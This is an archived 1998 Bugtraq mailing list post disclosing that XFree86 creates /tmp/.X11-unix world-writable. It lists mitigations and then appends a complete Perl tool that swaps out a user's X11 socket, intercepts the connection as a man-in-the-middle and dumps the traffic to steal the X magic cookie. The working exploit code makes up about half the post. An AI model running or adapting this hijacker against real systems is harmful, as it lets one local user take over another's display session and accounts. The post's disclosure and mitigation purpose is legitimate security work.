home *** CD-ROM | disk | FTP | other *** search
- Date: Mon, 2 Nov 1998 23:04:43 +0100
- From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
- To: BUGTRAQ@netspace.org
- Subject: X11 cookie hijacker
-
- > > > > drwxrwxrwx 2 root root 1024 Oct 30 19:57 /tmp/.X11-unix
- > > > Hang on, aren't those dangerous permissions?
- > > Pretty dangerous. Shall I look for my old cookie hijacker?
- > Please post the bloody thing to bugtraq. XFree appear myopic on this issue
-
- Evil grin. It has already been told a million times: you are asking for
- a problem if your /tmp/.X11-unix (and/or /tmp/.X11-pipe on Solaris) has
- the permission bits allowing other users to play games with its contents.
-
- Unfortunately, such setting is the default one
- excerpt from xc/lib/xtrans/Xtranslcl.c (XFree86 3.3.2 + all patches):
-
- #define X_UNIX_DIR "/tmp/.X11-unix"
-
- if (!mkdir(X_UNIX_DIR, 0777))
- chmod(X_UNIX_DIR, 0777);
-
- The program appended to this message demonstrates how dangerous it is.
- Any lamer could delete the socket cause denial of service but using this
- program, you can hijack X11 connections and steal magic cookies. (In fact
- anything in the protocol not protected against man-in-the-middle attack
- is vulnerable.) Having access to the X display of your victim, you can
- do whatever you like: from displaying "Boo!" all over the screen to
- complete takeover of the session and the victim's accounts, both local
- and remote.
-
- Potential solutions:
-
- - set the sticky bit on /tmp/.X11-unix, make sure the bit stays there
- - make it world-unwritable, make sure it stays this way (this works if
- all your Xservers run with some extra privileges)
- - special Solaris option: put /tmp/.X11-{unix,pipe} into /etc/logindevperm
- (assumption: the user sitting at the console is the only who uses X)
- - abolish Unix-domain X11 sockets and use TCP only (giving up MIT-SHM etc)
-
-
- --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]
- "You can't be truly paranoid unless you're sure they have already got you."
-
-
- PS1: /tmp/.X11-unix is not alone. It has brothers: /tmp/.font-unix,
- /tmp/.XIM-unix, /tmp/.ICE-unix and God knows what else, and they ALL
- have this problem. It is
-
- PS2: What about TOG's R6.4?
-
-
- ---- snip ----
- #!/usr/bin/perl
-
- # Copyright (c) 1997 Pavel Kankovsky
-
- # Permission to use, modify, and redistribute this program under the
- # terms of GNU General Public License version 2, as published by the
- # Free Software Foundation, is hereby granted. There is ABSOLUTELY
- # NO WARRANTY. You use it at your own risk.
-
- # WARNING! This program is provided for educational purposes only.
- # Inappropriate use or abuse may result in malfunction or inaccessibility
- # of computing systems, disclosure, loss or corruption of data, and other
- # damages.
-
-
- use Socket;
-
- sub dump_snap
- {
- my ($txt) = @_;
- my ($pos, $len) = (0, length($txt));
- while ($pos < $len) {
- my ($p, $l1, $l2) = ($pos, '', '');
- foreach $k (0..15) {
- if ($pos < $len) {
- my ($c) = ord(substr($txt, $pos, 1));
- $l1 .= sprintf("%02x ", $c);
- $l2 .= $c >= 32 && $c < 127 ? chr($c) : '.';
- }
- else {
- $l1 .= ' ';
- }
- ++$pos;
- }
- printf("%04x %s%s\n", $p, $l1, $l2);
- }
- }
-
- $SIG{CHLD} = 'IGNORE';
-
- $display0 = $ARGV[0];
- $display1 = $ARGV[1];
-
- rename("/tmp/.X11-unix/$display0", "/tmp/.X11-unix/$display1");
- rename("/tmp/.X11-pipe/$display0", "/tmp/.X11-pipe/$display1");
-
- socket(Server, PF_UNIX, SOCK_STREAM, 0) || die $!;
- bind(Server, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
- listen(Server, SOMAXCONN) || die $!;
-
- $success = 0;
-
- eval {
- local $SIG{INT} = sub { die; };
- accept(Client, Server) || die;
- $success = 1;
- };
-
- rename("/tmp/.X11-unix/$display1", "/tmp/.X11-unix/$display0");
- rename("/tmp/.X11-pipe/$display1", "/tmp/.X11-pipe/$display0");
-
- if ($success) {
- $pid = fork();
- if ($pid == 0) {
- close(Server);
- socket(Forward, PF_UNIX, SOCK_STREAM, 0) || die $!;
- connect(Forward, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
- $fdset = '';
- vec($fdset, fileno(Client), 1) = 1;
- vec($fdset, fileno(Forward), 1) = 1;
- $snapped = '';
- $snaplen = 0x40;
- while (select($rset = $fdset, undef, undef, undef)) {
- if (vec($rset, fileno(Client), 1) != 0) {
- $b = sysread(Client, $buffer, 16);
- if ($b > 0) {
- syswrite(Forward, $buffer, $b);
- if ($snaplen > 0) {
- $snapped .= substr($buffer, 0, $b);
- $snaplen -= $b;
- dump_snap($snapped) if ($snaplen <= 0);
- }
- }
- last if (!$b);
- }
- if (vec($rset, fileno(Forward), 1) != 0) {
- $b = sysread(Forward, $buffer, 16);
- if ($b > 0) {
- syswrite(Client, $buffer, $b);
- }
- last if (!$b);
- }
- }
- close(Forward);
- close(Client);
- exit(0);
- }
- close(Client);
- }
- ---- snip ----
-
-